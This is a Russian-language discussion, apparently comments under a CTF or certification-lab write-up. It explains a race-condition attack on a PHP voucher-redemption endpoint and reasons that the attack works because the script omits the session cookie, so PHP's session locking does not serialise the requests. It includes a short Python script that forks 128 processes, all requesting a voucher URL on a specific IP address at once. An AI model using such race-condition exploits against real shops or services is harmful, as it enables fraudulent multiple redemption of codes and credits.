Забавно, вы сдавали на тот момент там сертификацию?
Да. В площадке косяки были. Мага же монстр, он не может просто учиться, ему еще и косяки поискать надо. Там долгая истоия , достойная целой статьи, и я хотел ее писать, но не стал этого делать. Если бы нам серты не дали из вредности, точно написал бы.
Сколько ни пробовал не получилось ни так, ни через Burp. Только при помощи скрипта:
import os
os.fork() #2
os.fork() #4
os.fork() #8
os.fork() #16
os.fork() #32
os.fork() #64
os.fork() #128
print os.popen('php -r ' + \
'"echo file_get_contents(\'http://62.173.140.174:16023/index.php?voucherCode=5mbhxgw&uid=38493860831191\' );"').read()
После отработки скрипта, перегружаем страницу.
Я в своем райтапе писал, почему так.
Всё дело в том, что PHP "из коробки" содержит Session-based locking mechanism (механизм блокировки, основанный на сессиях). Некоторые фрэймворки пытаются предотвратить случайное повреждение данных, используя ту или иную форму блокировки запросов. Так, собственный модуль обработчика сеансов в PHP обрабатывает только один запрос, относящийся к конкретному сеансу, за раз.
В Burp вы, скорее всего, копировали весь запрос и не удаляли сеансовую куку, а в скрипте эта кука никак не фигурирует, отсюда и уязвимость.